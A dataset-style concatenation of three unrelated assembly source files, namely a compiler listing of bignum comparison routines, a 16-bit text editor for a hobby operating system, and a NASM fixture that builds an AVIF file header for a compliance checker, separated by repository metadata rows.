; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_L_X
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Compare_L_X PROC ; COMDAT
; 269 : {
$LN61:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
; 270 : if (__UNIT_TYPE_BIT_COUNT * 2 < sizeof(u) * 8)
; 271 : {
; 272 : // _UINT64_T が 2 ワードで表現しきれない処理系には対応しない
; 273 : return (PMC_STATUS_INTERNAL_ERROR);
; 274 : }
; 275 : if (v == NULL)
test rdx, rdx
je $LN58@PMC_Compar
; 276 : return (PMC_STATUS_ARGUMENT_ERROR);
; 277 : if (w == NULL)
test r8, r8
je $LN58@PMC_Compar
; 279 : PMC_STATUS_CODE result;
; 280 : if ((result = CheckNumber((NUMBER_HEADER*)v)) != PMC_STATUS_OK)
mov rcx, rdx
call CheckNumber
test eax, eax
jne $LN1@PMC_Compar
; 152 : if (u->IS_ZERO)
test BYTE PTR [rdi+40], 2
je SHORT $LN8@PMC_Compar
; 153 : {
; 154 : // u が 0 である場合
; 155 : if (v == 0)
test rbx, rbx
setne al
; 281 : return (result);
; 282 : _INT32_T w_temp;
; 283 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 284 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 285 : return (PMC_STATUS_OK);
xor eax, eax
; 286 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN8@PMC_Compar:
; 166 : else if (v == 0)
test rbx, rbx
je SHORT $LN59@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 644 : _BitScanReverse64(&pos, x);
bsr rax, rbx
; 645 : #elif defined(__GNUC__)
; 646 : _UINT64_T pos;
; 647 : __asm__("bsrq %1, %0" : "=r"(pos) : "rm"(x));
; 648 : #else
; 649 : #error unknown compiler
; 650 : #endif
; 651 : #else
; 652 : #error unknown platform
; 653 : #endif
; 654 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 63 ; 0000003fH
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 242 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_UNIT((__UNIT_TYPE)v);
movsxd rax, ecx
mov ecx, 64 ; 00000040H
sub rcx, rax
; 243 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [rdi+16], rcx
ja SHORT $LN59@PMC_Compar
; 244 : {
; 245 : // 明らかに u > v である場合
; 246 : *w = 1;
; 247 : }
; 248 : else if (u_bit_count < v_bit_count)
jae SHORT $LN40@PMC_Compar
; 249 : {
; 250 : // 明らかに u < v である場合
; 251 : *w = -1;
mov eax, 1
; 281 : return (result);
; 282 : _INT32_T w_temp;
; 283 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 284 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 285 : return (PMC_STATUS_OK);
xor eax, eax
; 286 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN40@PMC_Compar:
; 257 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [rdi+56]
mov rcx, QWORD PTR [rax]
cmp rcx, rbx
jbe SHORT $LN42@PMC_Compar
$LN59@PMC_Compar:
; 281 : return (result);
; 282 : _INT32_T w_temp;
; 283 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 284 : *w = -w_temp;
mov eax, -1
mov DWORD PTR [rsi], eax
; 285 : return (PMC_STATUS_OK);
xor eax, eax
; 286 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN42@PMC_Compar:
; 259 : else if (u->BLOCK[0] < v)
xor eax, eax
cmp rcx, rbx
setb al
; 281 : return (result);
; 282 : _INT32_T w_temp;
; 283 : PMC_Compare_X_L_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 284 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 285 : return (PMC_STATUS_OK);
xor eax, eax
; 286 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN58@PMC_Compar:
; 278 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Compar:
; 286 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Compare_L_X ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT PMC_Compare_I_X
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Compare_I_X PROC ; COMDAT
; 111 : {
$LN29:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov edi, ecx
mov rsi, r8
mov rbx, rdx
; 112 : if (__UNIT_TYPE_BIT_COUNT < sizeof(u) * 8)
; 113 : {
; 114 : // _UINT32_T が 1 ワードで表現しきれない処理系には対応しない
; 115 : return (PMC_STATUS_INTERNAL_ERROR);
; 116 : }
; 117 : if (v == NULL)
test rdx, rdx
je $LN26@PMC_Compar
; 118 : return (PMC_STATUS_ARGUMENT_ERROR);
; 119 : if (w == NULL)
test r8, r8
je $LN26@PMC_Compar
; 121 : PMC_STATUS_CODE result;
; 122 : if ((result = CheckNumber((NUMBER_HEADER*)v)) != PMC_STATUS_OK)
mov rcx, rdx
call CheckNumber
test eax, eax
jne $LN1@PMC_Compar
; 62 : if (u->IS_ZERO)
test BYTE PTR [rbx+40], 2
je SHORT $LN8@PMC_Compar
; 63 : {
; 64 : // u が 0 である場合
; 65 : if (v == 0)
; 66 : {
; 67 : // v が 0 である場合
; 68 : *w = 0;
; 69 : }
; 70 : else
; 71 : {
; 72 : // v が 0 でない場合
; 73 : *w = -1;
; 74 : }
; 75 : }
test edi, edi
setne al
; 123 : return (result);
; 124 : _INT32_T w_temp;
; 125 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 126 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 127 : return (PMC_STATUS_OK);
xor eax, eax
; 128 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN8@PMC_Compar:
; 76 : else if (v == 0)
test edi, edi
je SHORT $LN27@PMC_Compar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 601 : _BitScanReverse(&pos, x);
bsr eax, edi
; 602 : #elif defined(__GNUC__)
; 603 : __asm__("bsrl %1, %0" : "=r"(pos) : "rm"(x));
; 604 : #else
; 605 : #error unknown compiler
; 606 : #endif
; 607 : return (sizeof(x) * 8 - 1 - pos);
mov ecx, 31
sub ecx, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; 85 : __UNIT_TYPE v_bit_count = sizeof(v) * 8 - _LZCNT_ALT_32(v);
movsxd rax, ecx
mov ecx, 32 ; 00000020H
sub rcx, rax
; 86 : if (u_bit_count > v_bit_count)
cmp QWORD PTR [rbx+16], rcx
ja SHORT $LN27@PMC_Compar
; 87 : {
; 88 : // 明らかに u > v である場合
; 89 : *w = 1;
; 90 : }
; 91 : else if (u_bit_count < v_bit_count)
jae SHORT $LN16@PMC_Compar
; 92 : {
; 93 : // 明らかに u < v である場合
; 94 : *w = -1;
mov eax, 1
; 123 : return (result);
; 124 : _INT32_T w_temp;
; 125 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 126 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 127 : return (PMC_STATUS_OK);
xor eax, eax
; 128 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN16@PMC_Compar:
; 100 : if (u->BLOCK[0] > v)
mov rax, QWORD PTR [rbx+56]
mov rdx, QWORD PTR [rax]
cmp rdx, rdi
jbe SHORT $LN18@PMC_Compar
$LN27@PMC_Compar:
; 123 : return (result);
; 124 : _INT32_T w_temp;
; 125 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 126 : *w = -w_temp;
mov eax, -1
mov DWORD PTR [rsi], eax
; 127 : return (PMC_STATUS_OK);
xor eax, eax
; 128 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN18@PMC_Compar:
; 102 : else if (u->BLOCK[0] < v)
xor eax, eax
cmp rdx, rdi
setb al
; 123 : return (result);
; 124 : _INT32_T w_temp;
; 125 : PMC_Compare_X_I_Imp((NUMBER_HEADER*)v, u, &w_temp);
; 126 : *w = -w_temp;
mov DWORD PTR [rsi], eax
; 127 : return (PMC_STATUS_OK);
xor eax, eax
; 128 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
$LN26@PMC_Compar:
; 120 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Compar:
; 128 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Compare_I_X ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT Initialize_Compare
_TEXT SEGMENT
feature$ = 8
Initialize_Compare PROC ; COMDAT
; 356 : return (PMC_STATUS_OK);
xor eax, eax
; 357 : }
ret 0
Initialize_Compare ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_compare.c
; COMDAT Compare_Imp
_TEXT SEGMENT
u$ = 8
v$ = 16
count$ = 24
Compare_Imp PROC ; COMDAT
; 40 : u += count;
lea rax, QWORD PTR [r8*8]
add rcx, rax
; 41 : v += count;
add rdx, rax
; 42 : while (count > 0)
test r8, r8
je SHORT $LN3@Compare_Im
npad 13
$LL2@Compare_Im:
; 43 : {
; 44 : --u;
; 45 : --v;
; 46 : --count;
; 47 :
; 48 : if (*u > *v)
mov rax, QWORD PTR [rcx-8]
lea rcx, QWORD PTR [rcx-8]
lea rdx, QWORD PTR [rdx-8]
dec r8
cmp rax, QWORD PTR [rdx]
ja SHORT $LN10@Compare_Im
; 50 : else if (*u < *v)
jb SHORT $LN11@Compare_Im
; 42 : while (count > 0)
test r8, r8
jne SHORT $LL2@Compare_Im
$LN3@Compare_Im:
; 52 : else
; 53 : {
; 54 : }
; 55 : }
; 56 : return (0);
xor eax, eax
; 57 : }
ret 0
$LN11@Compare_Im:
; 51 : return (-1);
mov eax, -1
; 57 : }
ret 0
$LN10@Compare_Im:
; 49 : return (1);
mov eax, 1
; 57 : }
ret 0
Compare_Imp ENDP
_TEXT ENDS
END
| 21.868371 | 121 | 0.571412 |
0e335e31da4dd5f69e1185468b36f3d86d0e3930 | 17,029 | asm | Assembly | src/notepad.asm | jwse2/MijnOS | eaa280a5673604439a16575febc0ce342ba55f2e | [
"MIT"
] | null | null | null | src/notepad.asm | jwse2/MijnOS | eaa280a5673604439a16575febc0ce342ba55f2e | [
"MIT"
] | null | null | null | src/notepad.asm | jwse2/MijnOS | eaa280a5673604439a16575febc0ce342ba55f2e | [
"MIT"
] | null | null | null | [BITS 16]
; [ORG 0x15E00]
jmp main
;===============================================
; PREFIXES
; np = NotePad
; fn = FileName
;===============================================
%include "src\const.inc"
%define BUFFER_SIZE 512
text_buffer times BUFFER_SIZE db 0 ; Buffer the user writes to when pressing a key
text_double times BUFFER_SIZE db 0 ; Double buffer for redraws
text_size dw 0 ; Number of characters currently in the buffer
opt_quit db 0 ; Should notepad quit/terminate?
opt_menu db 0 ; Should the menu be displayed
text_bbuf db 08h, 20h, 08h, 0 ; Instructions for backspace
file_str db 'FILE: ', 0
file_buff times 16 db 0 ; Max size is 12 incl. ext, excl. zst
.length dw ($-file_buff) ; Length of the buffer
.count dw 0 ; Number of written characters
cursor_pos dw 0 ; Cursor position
%define MENU_COLOR 070h
text_ferr dw 0
;===============================================
; Clears the screen
;===============================================
%macro mClearScreen 0
push ax
mov ax,INT_CLEAR_SCREEN
int 70h
pop ax
%endmacro
%macro mConvertName 1
push es
push si
push di
push bx
mov bx,ss
mov es,bx
pop bx
mov si,file_buff
lea di,[bp-%1]
call cmd_convertString
pop di
pop si
pop es
%endmacro
%macro mDebugHex 0
push ax
push cx
mov cx,ax
mov ax,INT_PRINT_HEX
int 70h
mov ax,INT_KEYPRESS
int 70h
pop cx
pop ax
%endmacro
%macro mDebugName 0
; 0) initialize
push bp
mov bp,sp
sub sp,12 ; 11 but need 2-byte alignment
push ax
; 1) conversion
push es
push si
push bx
mov bx,ss
mov es,bx
pop bx
lea di,[bp-12]
mov si,file_buff
call cmd_convertString
pop si
pop es
; 2) display
push ds
push si
push bx
mov bx,ss
mov ds,bx
pop bx
lea si,[bp-12]
mov ax,INT_PRINT_STRING
int 70h
pop si
pop ds
; 3) await
mov ax,INT_KEYPRESS
int 70h
; 4) return
pop ax
mov sp,bp
pop bp
%endmacro
;===============================================
; Entry point
;===============================================
main:
push bp
mov bp,sp
; initialize the program
.init:
mov ax,INT_CLEAR_SCREEN
int 70h ; Ensure te screen is clear
xor dx,dx
mov ax,INT_SET_CURSOR_POS
int 70h ; Ensure we are top-left
; programs main loop
.loop:
mov cl,byte [opt_menu] ; Opt. 1) Check if the menu is opened
test cl,cl
jne .h_menu
mov cl,byte [opt_quit] ; Opt. 2) Quit the editor?
test cl,cl
jne exit
mov ax,INT_KEYPRESS ; 1) Wait for a key.
int 70h
call np_drawChar
jmp .loop ; continue the program loop
; menu handling code
.h_menu:
call handle_menu
jmp .loop
; NOTE:
; The dot is missing so we can exit from
; anywhere within the program.
exit:
mov sp,bp
pop bp
retf
;===============================================
; Stores the cursor position.
;===============================================
util_getCursor:
mov ax,INT_GET_CURSOR_POS
int 70h
mov word [cursor_pos],dx
ret
;===============================================
; Restores the cursor position.
;===============================================
util_setCursor:
mov dx,word [cursor_pos]
mov ax,INT_SET_CURSOR_POS
int 70h
ret
;===============================================
; Draws the character to the screen if necessary
;===============================================
np_drawChar:
cmp ax,20h ; Opt. 1) Complex, control characters
jb np_complexChar
cmp ax,7Fh ; Opt. 2) Complex, language characters
jae np_complexChar
jmp np_simpleChar ; Opt. 3) It's a simple character
;===============================================
; Copies characters in the range of [0x20, 0x7F)
; into the buffer and displays them on screen.
;===============================================
np_simpleChar:
mov cx,word [text_size]
cmp cx,BUFFER_SIZE
jae .return
.insert:
mov di,text_buffer
add di,cx
mov word [di],ax
add word [text_size],1
.print:
mov cx,ax
mov ax,INT_PRINT_CHAR
int 70h
.return:
ret
;===============================================
; Control characters, these require special
; functions to handle properly.
;===============================================
np_complexChar:
.0:
cmp ax,08h ; KEY_BACKSPACE
jne .1
call np_keyBackspace
jmp .return
.1:
cmp ax,09h ; KEY_TAB
jne .2
call np_keyTab
jmp .return
.2:
cmp ax,0Ah ; KEY_NEWLINE
jne .3
call np_keyNewline
jmp .return
.3:
cmp ax,0Dh ; KEY_RETURN
jne .4
call np_keyNewline
jmp .return
.4:
cmp ax,1Bh ; KEY_ESCAPE
jne .5
call np_keyEscape
jmp .return
.5:
cmp ax,7Fh ; KEY_DELETE
jne .return
call np_keyDelete
.return:
ret
;===============================================
; Remove the last character from the buffer; and
; removed the the respective character(s) from
; the screen.
;===============================================
np_keyBackspace:
mov cx,word [text_size]
cmp cx,0
jbe .return
mov di,text_buffer
add di,cx
sub di,1
.check:
mov al,byte [di]
cmp al,09h ; KEY_TAB
je .tab
cmp al,0Ah ; \r\n
je .newline
mov si,text_bbuf
mov ax,INT_PRINT_STRING
int 70h
.insert:
mov word [di],0
sub word [text_size],1
.return:
ret
; Tabs are displayed using 4-spaces
.tab:
mov cx,4
.loop:
mov si,text_bbuf
mov ax,INT_PRINT_STRING
int 70h
loop .loop
jmp .insert
; New lines consist of \r\n
.newline:
mov word [di],0
sub word [text_size],1
mov si,text_bbuf
mov ax,INT_PRINT_STRING
int 70h
sub di,1
mov al,byte [di] ; We must check the input,
cmp al,0Dh ; as some files may only use \n
jne .return
mov word [di],0
sub word [text_size],1
mov si,text_bbuf
mov ax,INT_PRINT_STRING
int 70h
jmp .return
;===============================================
; TABs can be insert like a normal character.
;===============================================
np_keyTab:
mov cx,word [text_size]
cmp cx,BUFFER_SIZE
jae .return
.insert:
mov di,text_buffer
add di,cx
mov word [di],09h
add word [text_size],1
mov cx,4
.print:
push cx
mov cx,20h
mov ax,INT_PRINT_CHAR
int 70h
pop cx
loop .print
.return:
ret
;===============================================
; New lines are done \r\n style.
;===============================================
np_keyNewline:
mov cx,word [text_size]
mov dx,BUFFER_SIZE-1
cmp cx,dx
jae .return
.insert:
mov di,text_buffer
add di,cx
mov word [di+0],0Dh
mov word [di+1],0Ah
add word [text_size],2
.print:
mov si,di
mov ax,INT_PRINT_STRING
int 70h
.return:
ret
;===============================================
; Set the menu open flag
;===============================================
np_keyEscape:
mov byte [opt_menu],1
call util_setCursor
ret
;===============================================
; Closes the menu and redraws all the contents
;===============================================
np_closeMenu:
push ax
mov byte [opt_menu],0 ; always hide the menu
mov al,byte [opt_quit]
test al,al
jne .return
.redraw:
call util_getCursor ; only execute when not quiting
call np_refillScreen
.return:
pop ax
ret
;===============================================
; Refills the screen with the data from the
; text buffer.
;===============================================
np_refillScreen:
pusha
; Clear the screen
mov ax,INT_CLEAR_SCREEN
int 70h
; Move the cursor back to 0,0
xor dx,dx
mov ax,INT_SET_CURSOR_POS
int 70h
; Return immediately if no text
mov ax,word [text_size]
test ax,ax
je .return
; Copy the buffer contents
.copy:
mov cx,word [text_size]
mov si,text_buffer
mov di,text_double
.copy_loop:
mov al,byte [ds:si]
mov byte [ds:di],al
add si,1
add di,1
sub cx,1
jne .copy_loop
; Zero-terminate the output
mov byte [ds:di],0
; Redraw the file's contents
mov cx,word [text_size]
mov word [text_size],0
mov si,text_double
.redraw:
movzx ax,byte [ds:si]
;test ax,ax
;je .return
push si
push cx
call np_drawChar
pop cx
pop si
add si,1
sub cx,1
jne .redraw
.return:
popa
ret
;===============================================
; Menu + options
;===============================================
handle_menu:
.active:
; Move the cursor to the lower-left corner
mov dh,24 ; row
mov dl,0 ; column
mov ax,INT_SET_CURSOR_POS
int 70h
; Print the menu prefix
mov bx,MENU_COLOR
mov cx,03Ah ; ':'
mov ax,INT_PRINT_COLORED
int 70h
; Menu loop
.loop:
mov ax,INT_KEYPRESS ; 1) Wait for a key press
int 70h
; Display the typed character
mov cx,ax
;mov bx,MENU_COLOR
;mov ax,INT_PRINT_COLORED
;int 70h
; Menu options can be caught here
cmp cx,KEY_UC_Q ; QUIT
je .m_quit
;je exit
cmp cx,KEY_LC_Q
je .m_quit
;je exit
cmp cx,KEY_UC_W ; WRITE
je .m_write
cmp cx,KEY_LC_W
je .m_write
cmp cx,KEY_UC_O ; OPEN
je .m_open
cmp cx,KEY_LC_O
je .m_open
cmp cx,KEY_ESCAPE ; Close the menu
je .m_close
jmp .loop ; Default
; Write to filename
.m_write:
call fn_typing
test ax,ax
jne .m_close
call np_writeFile
jmp .m_close
; Open from filename
.m_open:
call fn_typing
test ax,ax
jne .m_close
call np_loadFile
; TODO: update cursor position, etc.
cmp ax,0FFFFh
je .m_quit ; on error quit, should make it clearer
jmp .m_close
; Quit the application
.m_quit:
mov byte [opt_quit],1
; Close the menu and quit
.m_close:
call np_closeMenu
ret
;===============================================
; Loads a file from the medium.
;===============================================
np_loadFile:
push bp
mov bp,sp
sub sp,12 ; 11 required but 2-byte aligned necessary
pusha
push ds
push es
; convert the string into a FAT compliant name
.convert:
mConvertName 12
; initialize variables and registers
.init:
push ds
mov bx,ds
mov es,bx
mov di,text_buffer ; file data
mov bx,ss
mov ds,bx
lea si,[bp-12] ; FAT compliant file name
mov cx,BUFFER_SIZE-1 ; max data
mov ax,INT_READ_FILE
int 70h
pop ds ; restore DS for variable addressing
cmp ax,0FFFFh
je .error ; error
mov word [text_size],ax ; store the file size
; return to caller
.return:
pop es
pop ds
popa
mov sp,bp
pop bp
ret
; an error occured
.error:
mov word [text_size],0
jmp .return
;===============================================
; Writes a file from the medium.
;===============================================
np_writeFile:
;mDebugName
;ret
push bp
mov bp,sp
sub sp,12
; convert the string into a FAT compliant name
.convert:
mConvertName 12
.preserve:
push ds
push es
push si
push di
push cx
.write:
mov cx,word [text_size] ; data size
push bx ; set stack
mov bx,ds
mov es,bx
mov di,text_buffer ; file data
mov bx,ss
mov ds,bx
lea si,[bp-12] ; file name
pop bx
mov ax,INT_WRITE_FILE
int 70h
.restore:
pop cx
pop di
pop si
pop es
pop ds
; return to the caller
.return:
mov sp,bp
pop bp
ret
np_tName db 'D0123456TXT',0
np_tData db 'Test from NP',0
.size dw $-np_tData-1
;===============================================
; Loops till the filename has been written
;===============================================
fn_typing:
call fn_clear ; clear the old buffer
mov si,file_str
mov ax,INT_PRINT_STRING
int 70h
.loop:
mov ax,INT_KEYPRESS
int 70h
cmp ax,KEY_ENTER
je .action
cmp ax,KEY_ESCAPE
je .escape
cmp ax,KEY_BACKSPACE
je .back
.limit:
mov cx,word [file_buff.count]
add cx,1
cmp cx,word [file_buff.length]
jae .continue
call fn_append
cmp ax,0
je .continue
mov cx,ax
mov bx,MENU_COLOR
mov ax,INT_PRINT_COLORED
int 70h
.continue:
jmp .loop
.back:
mov bx,word [file_buff.count]
sub bx,1
cmp bx,0
jl .loop ; Do nothing when there is nothing
mov byte [file_buff+bx],0
mov word [file_buff.count],bx
mov si,text_bbuf ; Remove the character from the screen
mov ax,INT_PRINT_STRING
int 70h
jmp .loop
.escape:
call np_closeMenu
.return:
mov ax,0FFFFh
ret
.action:
call np_closeMenu
xor ax,ax
ret
;===============================================
; Appends the filename with the specified character
;===============================================
fn_append:
push bp
mov bp,sp
sub sp,2
pusha
.init:
mov word [bp-2],0
; period, extension sep
.period:
cmp ax,KEY_PERIOD
je .append ; character is [.]
; numbers
.0:
cmp ax,KEY_0
jl .return
cmp ax,KEY_9
jle .append ; character is [0-9]
; uppercase
.1:
cmp ax,KEY_UC_A
jl .return
cmp ax,KEY_UC_Z
jle .append ; character is [A-Z]
; lowercase
.2:
cmp ax,KEY_LC_A
jl .return
cmp ax,KEY_LC_Z
ja .return ; invalid character
sub ax,020h ; convert [a-z] to [A-Z]
jmp .append
; append the character to the buffer
.append:
mov bx,word [file_buff.count]
mov dx,bx
add dx,1
cmp dx,word [file_buff.length]
jae .return
mov byte [file_buff+bx],al
add bx,1
mov word [file_buff.count],bx
; only reaches here when successful
.success:
mov word [bp-2],ax
; return to caller
.return:
popa
mov ax,word [bp-2]
mov sp,bp
pop bp
ret
;===============================================
; Zero fills the filename buffer
;===============================================
fn_clear:
pusha
mov cx,word [file_buff.length]
mov bx,file_buff
add bx,cx
.loop:
sub bx,1
mov byte [bx],0
loop .loop
.return:
mov word [file_buff.count],0
popa
ret
;===============================================
; Not currently implemented.
;===============================================
np_keyDelete:
ret
%include "src/fatname.inc"
| 20.034118 | 95 | 0.460685 |
1a8f778fb159e5a084d3671b8f8cf4555ee204e0 | 8,841 | asm | Assembly | tests/miaf/valid-exif.asm | gpac/ComplianceWarden | e6c73769bbe6531ef4a92d6853fa55bd49503d44 | [
"BSD-3-Clause"
] | 3 | 2020-01-02T17:30:16.000Z | 2021-09-27T18:32:18.000Z | tests/miaf/valid-exif.asm | gpac/ComplianceWarden | e6c73769bbe6531ef4a92d6853fa55bd49503d44 | [
"BSD-3-Clause"
] | 34 | 2020-01-22T01:41:22.000Z | 2021-12-09T13:20:33.000Z | tests/miaf/valid-exif.asm | gpac/ComplianceWarden | e6c73769bbe6531ef4a92d6853fa55bd49503d44 | [
"BSD-3-Clause"
] | 2 | 2020-11-05T01:41:08.000Z | 2021-11-19T13:12:35.000Z | %define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24))
ftyp_start:
dd BE(ftyp_end - ftyp_start)
dd "ftyp"
db 0x61, 0x76, 0x69, 0x66 ; brand(32) ('avif')
db 0x00, 0x00, 0x00, 0x00 ; version(32)
db 0x6D, 0x69, 0x66, 0x31 ; compatible_brand(32) ('mif1')
db 0x61, 0x76, 0x69, 0x66 ; compatible_brand(32) ('avif')
db 0x6D, 0x69, 0x61, 0x66 ; compatible_brand(32) ('miaf')
db 0x4D, 0x41, 0x31, 0x42 ; compatible_brand(32) ('MA1B')
ftyp_end:
meta_start:
dd BE(meta_end - meta_start)
dd "meta"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
hdlr_start:
dd BE(hdlr_end - hdlr_start)
dd "hdlr"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32)
db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict')
db 0x00, 0x00, 0x00, 0x00 ; reserved1(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved2(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved3(32)
db 0x00 ; name(8)
hdlr_end:
pitm_start:
dd BE(pitm_end - pitm_start)
dd "pitm"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x01 ; item_ID(16)
pitm_end:
iinf_start:
dd BE(iinf_end - iinf_start)
dd "iinf"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x02 ; entry_count(16)
infe_start:
dd BE(infe_end - infe_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x01 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x61, 0x76, 0x30, 0x31 ; item_type(32) ('av01')
db 0x00 ; item_name(8)
infe_end:
infe2_start:
dd BE(infe2_end - infe2_start)
dd "infe"
db 0x02 ; version(8)
db 0x00, 0x00, 0x01 ; flags(24)
db 0x00, 0x02 ; item_ID(16)
db 0x00, 0x00 ; item_protection_index(16)
db 0x45, 0x78, 0x69, 0x66 ; item_type(32) ('Exif')
db 0x00 ; item_name(8)
infe2_end:
iinf_end:
iloc_start:
dd BE(iloc_end - iloc_start)
dd "iloc"
db 0x01 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x44 ; offset_size(4) ('D') length_size(4) ('D')
db 0x00 ; base_offset_size(4) reserved1(4)
db 0x00, 0x02 ; item_count(16)
db 0x00, 0x01 ; item_ID(16)
db 0x00, 0x00 ; "reserved2(12)" "construction_method(4)"
db 0x00, 0x00 ; data_reference_index(16)
; base_offset(0)
db 0x00, 0x01 ; extent_count(16)
dd BE(mdat_start - ftyp_start + 8) ; extent_offset(32)
db 0x00, 0x00, 0x00, 0x01 ; extent_length(32)
db 0x00, 0x02 ; item_ID(16)
db 0x00, 0x00 ; "reserved2(12)" "construction_method(4)"
db 0x00, 0x00 ; data_reference_index(16)
; base_offset(0)
db 0x00, 0x01 ; extent_count(16)
dd BE(mdat_start - ftyp_start + 8) ; extent_offset(32)
db 0x00, 0x00, 0x00, 0x01 ; extent_length(32)
iloc_end:
iprp_start:
dd BE(iprp_end - iprp_start)
dd "iprp"
ipco_start:
dd BE(ipco_end - ipco_start)
dd "ipco"
ispe_start:
dd BE(ispe_end - ispe_start)
dd "ispe"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x07, 0x80 ; image_width(32)
db 0x00, 0x00, 0x04, 0x38 ; image_height(32)
ispe_end:
colr_start:
dd BE(colr_end - colr_start)
dd "colr"
db 0x6E ; (8) ('n')
db 0x63 ; (8) ('c')
db 0x6C ; (8) ('l')
db 0x78 ; (8) ('x')
db 0x00 ; (8)
db 0x02 ; (8)
db 0x00 ; (8)
db 0x02 ; (8)
db 0x00 ; (8)
db 0x02 ; (8)
db 0x80 ; (8)
colr_end:
av1C_start:
dd BE(av1C_end - av1C_start)
dd "av1C"
db 0x81 ; marker(1) version(7)
db 0x09 ; seq_profile(3) seq_level_idx_0(5)
db 0x0C ; seq_tier_0(1) high_bitdepth(1) twelve_bit(1) monochrome(1) chroma_subsampling_x(1) chroma_subsampling_y(1) chroma_sample_position(2)
